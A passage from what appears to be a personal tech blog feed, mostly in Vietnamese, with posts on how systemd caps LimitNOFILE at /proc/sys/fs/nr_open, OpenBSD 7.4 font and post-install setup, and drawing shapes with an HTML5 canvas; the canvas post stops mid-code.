<span class="w"> </span><span class="cm">/* Returns the kernel's current fd limit, either by reading it of /proc/sys if that works, or using the</span>
<span class="cm"> * hard-coded default compiled-in value of current kernels (1M) if not. This call will never fail. */</span><span class="w"></span>
<span class="w"> </span><span class="n">r</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">read_one_line_file</span><span class="p">(</span><span class="s">"/proc/sys/fs/nr_open"</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">nr_open</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">r</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="n">log_debug_errno</span><span class="p">(</span><span class="n">r</span><span class="p">,</span><span class="w"> </span><span class="s">"Failed to read /proc/sys/fs/nr_open, ignoring: %m"</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">v</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">r</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">safe_atoi</span><span class="p">(</span><span class="n">nr_open</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">v</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">r</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="n">log_debug_errno</span><span class="p">(</span><span class="n">r</span><span class="p">,</span><span class="w"> </span><span class="s">"Failed to parse /proc/sys/fs/nr_open value '%s', ignoring: %m"</span><span class="p">,</span><span class="w"> </span><span class="n">nr_open</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">else</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">v</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="cm">/* If we fail, fall back to the hard-coded kernel limit of 1024 * 1024. */</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">1024</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mi">1024</span><span class="p">;</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>Function này đọc giá trị kernel set từ <code>/proc/sys/fs/nr_open</code> hoặc nếu fail sẽ dùng giá trị 1024 * 1024. Xem thử file này trên máy Ubuntu 22.04:</p>
<div class="highlight"><pre><span></span><code><span class="c">% cat /proc/sys/fs/nr_open</span><span class="w"></span>
<span class="n">1048576</span><span class="w"></span>
</code></pre></div>
<p>Cũng bằng với 1024 * 1024.</p>
<p>Tìm function gọi function <code>read_nr_open</code>:</p>
<div class="highlight"><pre><span></span><code>$ grep -Rin read_nr_open
src/basic/fd-util.h:106:int read_nr_open<span class="o">(</span>void<span class="o">)</span><span class="p">;</span>
src/basic/rlimit-util.c:382: <span class="nv">limit</span> <span class="o">=</span> read_nr_open<span class="o">()</span><span class="p">;</span>
src/basic/fd-util.c:701:int read_nr_open<span class="o">(</span>void<span class="o">)</span> <span class="o">{</span>
src/test/test-fd-util.c:183:static void test_read_nr_open<span class="o">(</span>void<span class="o">)</span> <span class="o">{</span>
src/test/test-fd-util.c:184: log_info<span class="o">(</span><span class="s2">"nr-open: %i"</span>, read_nr_open<span class="o">())</span><span class="p">;</span>
src/test/test-fd-util.c:291: test_read_nr_open<span class="o">()</span><span class="p">;</span>
src/core/main.c:1228: <span class="nv">k</span> <span class="o">=</span> read_nr_open<span class="o">()</span><span class="p">;</span>
src/core/main.c:1260: <span class="nv">nr</span> <span class="o">=</span> read_nr_open<span class="o">()</span><span class="p">;</span>
src/core/main.c:2273: <span class="nv">nr</span> <span class="o">=</span> read_nr_open<span class="o">()</span><span class="p">;</span>
</code></pre></div>
<p>Xem src/basic/rlimit-util.c</p>
<div class="highlight"><pre><span></span><code><span class="kt">int</span><span class="w"> </span><span class="nf">rlimit_nofile_bump</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">limit</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">r</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="cm">/* Bumps the (soft) RLIMIT_NOFILE resource limit as close as possible to the specified limit. If a negative</span>
<span class="cm"> * limit is specified, bumps it to the maximum the kernel and the hard resource limit allows. This call should</span>
<span class="cm"> * be used by all our programs that might need a lot of fds, and that know how to deal with high fd numbers</span>
<span class="cm"> * (i.e. do not use select() — which chokes on fds >= 1024) */</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">limit</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="n">limit</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">read_nr_open</span><span class="p">();</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">limit</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mi">3</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="n">limit</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">3</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">r</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">setrlimit_closest</span><span class="p">(</span><span class="n">RLIMIT_NOFILE</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">RLIMIT_MAKE_CONST</span><span class="p">(</span><span class="n">limit</span><span class="p">));</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">r</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">log_debug_errno</span><span class="p">(</span><span class="n">r</span><span class="p">,</span><span class="w"> </span><span class="s">"Failed to set RLIMIT_NOFILE: %m"</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>Khi limit < 0, limit sẽ nhận giá trị của <code>read_nr_open()</code>, khi limit >=3, gọi <code>setrlimit_closest</code></p>
<div class="highlight"><pre><span></span><code><span class="kt">int</span><span class="w"> </span><span class="nf">setrlimit_closest</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">resource</span><span class="p">,</span><span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">rlimit</span><span class="w"> </span><span class="o">*</span><span class="n">rlim</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">rlimit</span><span class="w"> </span><span class="n">highest</span><span class="p">,</span><span class="w"> </span><span class="n">fixed</span><span class="p">;</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">setrlimit</span><span class="p">(</span><span class="n">resource</span><span class="p">,</span><span class="w"> </span><span class="n">rlim</span><span class="p">)</span><span class="w"> </span><span class="o">>=</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">errno</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="n">EPERM</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="o">-</span><span class="n">errno</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="cm">/* So we failed to set the desired setrlimit, then let's try</span>
<span class="cm"> * to get as close as we can */</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">getrlimit</span><span class="p">(</span><span class="n">resource</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">highest</span><span class="p">)</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="o">-</span><span class="n">errno</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="cm">/* If the hard limit is unbounded anyway, then the EPERM had other reasons, let's propagate the original EPERM</span>
<span class="cm"> * then */</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">highest</span><span class="p">.</span><span class="n">rlim_max</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">RLIM_INFINITY</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="o">-</span><span class="n">EPERM</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="n">fixed</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="k">struct</span><span class="w"> </span><span class="nc">rlimit</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="p">.</span><span class="n">rlim_cur</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">MIN</span><span class="p">(</span><span class="n">rlim</span><span class="o">-></span><span class="n">rlim_cur</span><span class="p">,</span><span class="w"> </span><span class="n">highest</span><span class="p">.</span><span class="n">rlim_max</span><span class="p">),</span><span class="w"></span>
<span class="w"> </span><span class="p">.</span><span class="n">rlim_max</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">MIN</span><span class="p">(</span><span class="n">rlim</span><span class="o">-></span><span class="n">rlim_max</span><span class="p">,</span><span class="w"> </span><span class="n">highest</span><span class="p">.</span><span class="n">rlim_max</span><span class="p">),</span><span class="w"></span>
<span class="w"> </span><span class="p">};</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>Giá trị được set là <code>MIN(rlim->rlim_cur, highest.rlim_max)</code>, nên người dùng không thể set cao hơn giá trị <code>highest.rlim_max</code>, tức giá trị max hard limit kế thừa từ systemd, hay kết quả của function read_nr_open, ở ví dụ này là 1024*1024.</p>
<h3>Tạo service chạy Python thử set hard limit lớn hơn 1024*1024</h3>
<p>Python3.10 hiển thị giá trị RLIMIT_NOFILE của Python process:</p>
<div class="highlight"><pre><span></span><code><span class="o">%</span> <span class="n">python3</span> <span class="o">-</span><span class="n">c</span> <span class="s1">'import resource; print(resource.getrlimit(resource.RLIMIT_NOFILE))'</span>
<span class="p">(</span><span class="mi">1024</span><span class="p">,</span> <span class="mi">1048576</span><span class="p">)</span>
</code></pre></div>
<p>Tạo 1 systemd service tên <code>pymi</code> lần lượt set LimitNOFILE=5242880 và 5000 </p>
<div class="highlight"><pre><span></span><code><span class="c1"># systemctl cat pymi.service </span>
<span class="c1"># /lib/systemd/system/pymi.service</span>
<span class="p">[</span><span class="n">Unit</span><span class="p">]</span>
<span class="n">Description</span><span class="o">=</span><span class="n">FAMILUG</span><span class="o">.</span><span class="n">org</span> <span class="n">rlimit</span> <span class="n">test</span>
<span class="n">After</span><span class="o">=</span><span class="n">remote</span><span class="o">-</span><span class="n">fs</span><span class="o">.</span><span class="n">target</span> <span class="n">nss</span><span class="o">-</span><span class="n">user</span><span class="o">-</span><span class="n">lookup</span><span class="o">.</span><span class="n">target</span>
<span class="p">[</span><span class="n">Service</span><span class="p">]</span>
<span class="n">ExecStart</span><span class="o">=</span><span class="n">python3</span> <span class="o">-</span><span class="n">c</span> <span class="s1">'import resource; print(resource.getrlimit(resource.RLIMIT_NOFILE))'</span>
<span class="n">LimitNOFILE</span><span class="o">=</span><span class="mi">5242880</span>
<span class="n">IgnoreSIGPIPE</span><span class="o">=</span><span class="n">false</span>
<span class="n">KillMode</span><span class="o">=</span><span class="n">process</span>
<span class="p">[</span><span class="n">Install</span><span class="p">]</span>
<span class="n">WantedBy</span><span class="o">=</span><span class="n">multi</span><span class="o">-</span><span class="n">user</span><span class="o">.</span><span class="n">target</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><span class="c1"># systemctl daemon-reload</span><span class="w"></span>
<span class="c1"># systemctl start pymi</span><span class="w"></span>
<span class="c1"># systemctl status pymi</span><span class="w"></span>
<span class="n">root</span><span class="err">@</span><span class="n">mini</span><span class="p">:</span><span class="o">~</span><span class="c1"># systemctl status pymi</span><span class="w"></span>
<span class="err">○</span><span class="w"> </span><span class="n">pymi</span><span class="o">.</span><span class="n">service</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">FAMILUG</span><span class="o">.</span><span class="n">org</span><span class="w"> </span><span class="n">rlimit</span><span class="w"> </span><span class="n">test</span><span class="w"></span>
<span class="w"> </span><span class="n">Loaded</span><span class="p">:</span><span class="w"> </span><span class="n">loaded</span><span class="w"> </span><span class="p">(</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">systemd</span><span class="o">/</span><span class="n">system</span><span class="o">/</span><span class="n">pymi</span><span class="o">.</span><span class="n">service</span><span class="p">;</span><span class="w"> </span><span class="n">disabled</span><span class="p">;</span><span class="w"> </span><span class="n">vendor</span><span class="w"> </span><span class="n">preset</span><span class="p">:</span><span class="w"> </span><span class="n">enabled</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="n">Active</span><span class="p">:</span><span class="w"> </span><span class="n">inactive</span><span class="w"> </span><span class="p">(</span><span class="n">dead</span><span class="p">)</span><span class="w"></span>
<span class="n">Thg</span><span class="w"> </span><span class="mi">3</span><span class="w"> </span><span class="mi">15</span><span class="w"> </span><span class="mi">00</span><span class="p">:</span><span class="mi">49</span><span class="p">:</span><span class="mi">13</span><span class="w"> </span><span class="n">mini</span><span class="w"> </span><span class="n">systemd</span><span class="p">[</span><span class="mi">1</span><span class="p">]:</span><span class="w"> </span><span class="n">Started</span><span class="w"> </span><span class="n">FAMILUG</span><span class="o">.</span><span class="n">org</span><span class="w"> </span><span class="n">rlimit</span><span class="w"> </span><span class="n">test</span><span class="o">.</span><span class="w"></span>
<span class="n">Thg</span><span class="w"> </span><span class="mi">3</span><span class="w"> </span><span class="mi">15</span><span class="w"> </span><span class="mi">00</span><span class="p">:</span><span class="mi">49</span><span class="p">:</span><span class="mi">13</span><span class="w"> </span><span class="n">mini</span><span class="w"> </span><span class="n">python3</span><span class="p">[</span><span class="mi">215501</span><span class="p">]:</span><span class="w"> </span><span class="p">(</span><span class="mi">1048576</span><span class="p">,</span><span class="w"> </span><span class="mi">1048576</span><span class="p">)</span><span class="w"></span>
<span class="n">Thg</span><span class="w"> </span><span class="mi">3</span><span class="w"> </span><span class="mi">15</span><span class="w"> </span><span class="mi">00</span><span class="p">:</span><span class="mi">49</span><span class="p">:</span><span class="mi">13</span><span class="w"> </span><span class="n">mini</span><span class="w"> </span><span class="n">systemd</span><span class="p">[</span><span class="mi">1</span><span class="p">]:</span><span class="w"> </span><span class="n">pymi</span><span class="o">.</span><span class="n">service</span><span class="p">:</span><span class="w"> </span><span class="n">Deactivated</span><span class="w"> </span><span class="n">successfully</span><span class="o">.</span><span class="w"></span>
<span class="n">Thg</span><span class="w"> </span><span class="mi">3</span><span class="w"> </span><span class="mi">15</span><span class="w"> </span><span class="mi">00</span><span class="p">:</span><span class="mi">49</span><span class="p">:</span><span class="mi">33</span><span class="w"> </span><span class="n">mini</span><span class="w"> </span><span class="n">systemd</span><span class="p">[</span><span class="mi">1</span><span class="p">]:</span><span class="w"> </span><span class="n">Started</span><span class="w"> </span><span class="n">FAMILUG</span><span class="o">.</span><span class="n">org</span><span class="w"> </span><span class="n">rlimit</span><span class="w"> </span><span class="n">test</span><span class="o">.</span><span class="w"></span>
<span class="n">Thg</span><span class="w"> </span><span class="mi">3</span><span class="w"> </span><span class="mi">15</span><span class="w"> </span><span class="mi">00</span><span class="p">:</span><span class="mi">49</span><span class="p">:</span><span class="mi">34</span><span class="w"> </span><span class="n">mini</span><span class="w"> </span><span class="n">python3</span><span class="p">[</span><span class="mi">216937</span><span class="p">]:</span><span class="w"> </span><span class="p">(</span><span class="mi">5000</span><span class="p">,</span><span class="w"> </span><span class="mi">5000</span><span class="p">)</span><span class="w"></span>
<span class="n">Thg</span><span class="w"> </span><span class="mi">3</span><span class="w"> </span><span class="mi">15</span><span class="w"> </span><span class="mi">00</span><span class="p">:</span><span class="mi">49</span><span class="p">:</span><span class="mi">34</span><span class="w"> </span><span class="n">mini</span><span class="w"> </span><span class="n">systemd</span><span class="p">[</span><span class="mi">1</span><span class="p">]:</span><span class="w"> </span><span class="n">pymi</span><span class="o">.</span><span class="n">service</span><span class="p">:</span><span class="w"> </span><span class="n">Deactivated</span><span class="w"> </span><span class="n">successfully</span><span class="o">.</span><span class="w"></span>
</code></pre></div>
<p>Kết quả: </p>
<ul>
<li>Khi set 5242880 (5 triệu), giá trị này bị set về giá trị tối đa của kernel set 1048576.</li>
<li>khi set 5000, chương trình Python thấy cả 2 soft và hard limit đều = 5000.</li>
</ul>
<h2>Kết luận</h2>
<p>Tại systemd v249, Không thể set LimitNOFILE lớn hơn giá trị trong <code>/proc/sys/fs/nr_open</code>.</p>
<p>Nhưng giá trị trong nr_open có thể thay đổi bằng sysctl:</p>
<div class="highlight"><pre><span></span><code># sysctl -a | grep nr_open
fs.nr_open = 1048576
</code></pre></div>
<p>Hết.</p>
<p>HVN at <a href="http://pymi.vn">http://pymi.vn</a> and <a href="https://www.familug.org">https://www.familug.org</a>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>View Japanese on OpenBSD 7.4 Firefox with unifont2024-03-10T00:00:00+07:002024-03-10T00:00:00+07:00hvntag:familug.github.io,2024-03-10:/view-japanese-on-openbsd-74-firefox-with-unifont.html<p>By default, you cannot view Chinese/Japanese/Korean (CJK) on OpenBSD, it shows only square box.</p>
<p>It needs CJK fonts to be installed. <code>unifont</code> is one supports many languages by GNU.</p>
<div class="highlight"><pre><span></span><code>$ pkg_info unifont
Information <span class="k">for</span> inst:unifont-15.0.06
Comment:
free Unicode font from the GNU project
Description:
GNU Unifont …</code></pre></div><p>By default, you cannot view Chinese/Japanese/Korean (CJK) on OpenBSD, it shows only square box.</p>
<p>It needs CJK fonts to be installed. <code>unifont</code> is one supports many languages by GNU.</p>
<div class="highlight"><pre><span></span><code>$ pkg_info unifont
Information <span class="k">for</span> inst:unifont-15.0.06
Comment:
free Unicode font from the GNU project
Description:
GNU Unifont is a font that contains glyphs <span class="k">for</span> every printable code
point <span class="k">in</span> the Unicode Basic Multilingual Plane <span class="o">(</span>BMP<span class="o">)</span>.
There is also growing coverage of the Supplementary Multilingual Plane
<span class="o">(</span>SMP<span class="o">)</span>, and of Michael Everson<span class="err">'</span>s ConScript Unicode Registry <span class="o">(</span>CSUR<span class="o">)</span>.
Maintainer: Brian Callahan <bcallah@openbsd.org>
WWW: https://unifoundry.com/unifont/
$ pkg_info -L unifont
Information <span class="k">for</span> inst:unifont-15.0.06
Files:
/usr/local/share/fonts/unifont/unifont.otf
/usr/local/share/fonts/unifont/unifont.ttf
/usr/local/share/fonts/unifont/unifont_csur.otf
/usr/local/share/fonts/unifont/unifont_csur.ttf
/usr/local/share/fonts/unifont/unifont_jp.otf
/usr/local/share/fonts/unifont/unifont_jp.ttf
/usr/local/share/fonts/unifont/unifont_upper.otf
/usr/local/share/fonts/unifont/unifont_upper.ttf
</code></pre></div>
<p>Install:</p>
<div class="highlight"><pre><span></span><code># pkg_add unifont
</code></pre></div>
<p>Then restart Firefox and it will display CJK. Welcome to 2024!</p>
<p>Written on</p>
<div class="highlight"><pre><span></span><code>$ uname -a
OpenBSD obsd.dev.obsd <span class="m">7</span>.4 GENERIC.MP#2 amd
</code></pre></div>Post-install setup on OpenBSD 7.42024-02-12T00:00:00+07:002024-02-12T00:00:00+07:00hvntag:familug.github.io,2024-02-12:/post-install-setup-on-openbsd-74.html<p>After installing OpenBSD 7.4, here are customizations to make it more usable.</p>
<div class="highlight"><pre><span></span><code>$ uname -a
OpenBSD obsd.dev.obsd <span class="m">7</span>.4 GENERIC.MP#2 amd
</code></pre></div>
<h3>Install wireless driver</h3>
<p>Run <code>ifconfig</code> and see interface names.</p>
<div class="highlight"><pre><span></span><code>$ ifconfig <span class="p">|</span> grep flags <span class="p">|</span> grep -o .*:
lo0:
re0:
iwx0:
enc0:
pflog0:
</code></pre></div>
<p>In this case, the interface named …</p><p>After installing OpenBSD 7.4, here are customizations to make it more usable.</p>
<div class="highlight"><pre><span></span><code>$ uname -a
OpenBSD obsd.dev.obsd <span class="m">7</span>.4 GENERIC.MP#2 amd
</code></pre></div>
<h3>Install wireless driver</h3>
<p>Run <code>ifconfig</code> and see interface names.</p>
<div class="highlight"><pre><span></span><code>$ ifconfig <span class="p">|</span> grep flags <span class="p">|</span> grep -o .*:
lo0:
re0:
iwx0:
enc0:
pflog0:
</code></pre></div>
<p>In this case, the interface named <code>iwx0</code>. Find details about it in <code>dmesg</code>:</p>
<div class="highlight"><pre><span></span><code>$ dmesg <span class="p">|</span> grep iwx0
iwx0: could not <span class="nb">read</span> firmware iwx-cc-a0-77 <span class="o">(</span>error <span class="m">2</span><span class="o">)</span>
</code></pre></div>
<p>Download the driver from <a href="http://firmware.openbsd.org/firmware/">http://firmware.openbsd.org/firmware/</a>, choose the version you using, in this case is 7.4: <a href="http://firmware.openbsd.org/firmware/7.4/iwx-firmware-20230629.tgz">http://firmware.openbsd.org/firmware/7.4/iwx-firmware-20230629.tgz</a></p>
<p>copy the file to an USB formatted as vfat filesystem so all OSes can read from it.</p>
<h3>Mount USB</h3>
<p>Find the partition to mount: run as root</p>
<p>If the device is <code>sd1</code>, use <code>sd1c</code> as <code>man disklabel</code> explained:</p>
<blockquote>
<p>disklabel supports 15 configurable partitions, a through p
excluding c. The c partition describes the entire physical
disk, is automatically created by the kernel, and cannot be
modified or deleted by disklabel.</p>
</blockquote>
<div class="highlight"><pre><span></span><code># disklabel -h /dev/sd1c
# /dev/sd1c:
type: SCSI
disk: SCSI disk
label: DataTraveler 3.0
duid: 0000000000000000
flags:
bytes/sector: 512
sectors/track: 63
tracks/cylinder: 255
sectors/cylinder: 16065
cylinders: 1884
total sectors: 30277632 # total bytes: 15138816.0K
boundstart: 0
boundend: 30277632
16 partitions:
# size offset fstype [fsize bsize cpg]
c: 15138816.0K 0 unused
i: 480.0K 64 MSDOS
j: 679424.0K 1024 MSDOS
</code></pre></div>
<p>Here the partition we want to mount is <code>j</code>.</p>
<div class="highlight"><pre><span></span><code>obsd# mount /dev/sd1j /mnt/
obsd# ls /mnt
iwx-firmware-20230629.tgz
</code></pre></div>
<p>Run as root: <code>fw_update /mnt/iwx-firmware-20230629.tgz</code> to install the driver.</p>
<h3>Turn on wifi</h3>
<p>Run as root:</p>
<div class="highlight"><pre><span></span><code># ifconfig iwx0 nwid WIFI_NAME wpakey PASSWORD
# ifconfig iwx0 up
# dhclient iwx0
</code></pre></div>
<p>To auto-connect to the wifi on startup, add a file named: <code>/etc/hostname.iwx0</code> with content:</p>
<div class="highlight"><pre><span></span><code>nwid WIFI_NAME wpakey PASSWORD
inet autoconf
</code></pre></div>
<p>Note: change <code>iwx0</code> in filename to your real interface name.</p>
<h3>Install packages</h3>
<div class="highlight"><pre><span></span><code># pkg_add firefox git tmux redshift
</code></pre></div>
<h3>Update firmware</h3>
<div class="highlight"><pre><span></span><code># fw_update
</code></pre></div>
<h3>Change window manager</h3>
<p>Default window manager is fwwm, right click choose cwm.</p>
<p>To set it permanently, write a file at <code>$HOME/.xsession</code></p>
<div class="highlight"><pre><span></span><code><span class="c1"># use UTF-8 everywhere</span><span class="w"></span>
<span class="k">export</span><span class="w"> </span><span class="n">LANG</span><span class="o">=</span><span class="n">en_US</span><span class="o">.</span><span class="n">UTF</span><span class="o">-</span><span class="mi">8</span><span class="w"></span>
<span class="c1"># load Xresources file</span><span class="w"></span>
<span class="n">xrdb</span><span class="w"> </span><span class="o">-</span><span class="n">merge</span><span class="w"> </span><span class="o">$</span><span class="n">HOME</span><span class="o">/.</span><span class="n">Xresources</span><span class="w"></span>
<span class="n">xsetroot</span><span class="w"> </span><span class="o">-</span><span class="n">solid</span><span class="w"> </span><span class="n">slategrey</span><span class="w"> </span><span class="o">&</span><span class="w"></span>
<span class="n">xterm</span><span class="w"> </span><span class="o">&</span><span class="w"></span>
<span class="n">redshift</span><span class="w"> </span><span class="o">&</span><span class="w"></span>
<span class="n">exec</span><span class="w"> </span><span class="n">cwm</span><span class="w"></span>
</code></pre></div>
<p>Read <code>man cwm</code> for default key bindings.</p>
<h3>Enable power management to suspend</h3>
<div class="highlight"><pre><span></span><code>rcctl start apmd
</code></pre></div>
<p>Then type <code>zzz</code> to suspend.</p>
<p>Append a line to /etc/rc.conf.local</p>
<div class="highlight"><pre><span></span><code>apmd_flags=
</code></pre></div>
<p>To start apmd with system.</p>
<h2>Conclusion</h2>
<p>Hello OpenBSD once again in 2024!</p>Vẽ hình vuông hình tròn: bánh chưng và mặt trời2024-02-11T00:00:00+07:002024-02-11T00:00:00+07:00hvntag:familug.github.io,2024-02-11:/ve-hinh-vuong-hinh-tron-banh-chung-va-mat-troi.html<p>HTML5 xuất hiện từ 2008, đến nay sau 16 năm đã được phổ cập trên mọi trình duyệt. Điển hình nhất là ngày nay xem video trên Youtube không còn phải cài Adobe Flash nữa mà cứ bấm là xem.</p>
<p>HTML5 có thể làm rất nhiều việc mà trước đây …</p><p>HTML5 xuất hiện từ 2008, đến nay sau 16 năm đã được phổ cập trên mọi trình duyệt. Điển hình nhất là ngày nay xem video trên Youtube không còn phải cài Adobe Flash nữa mà cứ bấm là xem.</p>
<p>HTML5 có thể làm rất nhiều việc mà trước đây cần phần mềm khác/JavaScript:</p>
<ul>
<li>xem video</li>
<li>nghe nhạc</li>
<li>vẽ hình 2D 3D</li>
<li>tạo hình động</li>
<li>... vậy nên người ta có thể làm game với HTML5 + JavaScript</li>
</ul>
<p>Bài này khám phá thẻ canvas trong HTML5 và vẽ bánh chưng mừng tuổi mọi người, hello 2024!</p>
<p><img alt="banh chung va mat troi" src="https://familug.github.io/images/rect_arc.png"></p>
<p>Xem kết quả tại <a href="https://hvnsweeting.github.io/js-toys/draw-basic.html">https://hvnsweeting.github.io/js-toys/draw-basic.html</a></p>
<h2>Canvas - vẽ hình</h2>
<p>Thẻ <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/canvas">canvas</a> chỉ có 2 thuộc tính width (default: 300px) và height (150px), việc vẽ hình được thực hiện bằng JavaScript.</p>
<p>Tạo cặp thẻ HTML canvas rồi lấy object "context" 2D để vẽ hình 2D.</p>
<div class="highlight"><pre><span></span><code><span class="p"><</span><span class="nt">canvas</span> <span class="na">id</span><span class="o">=</span><span class="s">"banh"</span> <span class="na">width</span><span class="o">=</span><span class="s">300</span> <span class="na">height</span><span class="o">=</span><span class="s">300</span><span class="p">></</span><span class="nt">canvas</span><span class="p">></span>
<span class="p"><</span><span class="nt">script</span><span class="p">></span><span class="w"></span>
<span class="w"> </span><span class="nx">canvas</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">"banh"</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="nx">ctx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">canvas</span><span class="p">.</span><span class="nx">getContext</span><span class="p">(</span><span class="s2">"2d"</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="c1">//...</span><span class="w"></span>
<span class="p"></</span><span class="nt">script</span><span class="p">></span>
</code></pre></div>
<p>Vẽ hình chữ nhật với <code>fillRect</code> (rectangle), chọn màu bằng gán giá trị cho <code>ctx.fillStyle</code>.</p>
<p>Vẽ cái bánh chưng: trước tiên là đổ màu lá full hình vuông,
sau đó đổi màu rồi vẽ 4 cái lạt, cuối cùng thêm dòng chữ vào góc cho giống VTV:</p>
<div class="highlight"><pre><span></span><code><span class="c1">//ctx.fillRect(x, y, width, height);</span><span class="w"></span>
<span class="nx">ctx</span><span class="p">.</span><span class="nx">fillStyle</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'#44583b'</span><span class="p">;</span><span class="w"></span>
<span class="nx">ctx</span><span class="p">.</span><span class="nx">fillRect</span><span class="p">(</span><span class="mf">0</span><span class="p">,</span><span class="w"> </span><span class="mf">0</span><span class="p">,</span><span class="w"> </span><span class="mf">300</span><span class="p">,</span><span class="w"> </span><span class="mf">300</span><span class="p">);</span><span class="w"></span>
<span class="nx">ctx</span><span class="p">.</span><span class="nx">fillStyle</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'#c7cab8'</span><span class="p">;</span><span class="w"></span>
<span class="nx">ctx</span><span class="p">.</span><span class="nx">fillRect</span><span class="p">(</span><span class="mf">95</span><span class="p">,</span><span class="w"> </span><span class="mf">0</span><span class="p">,</span><span class="w"> </span><span class="mf">10</span><span class="p">,</span><span class="w"> </span><span class="mf">300</span><span class="p">);</span><span class="w"></span>
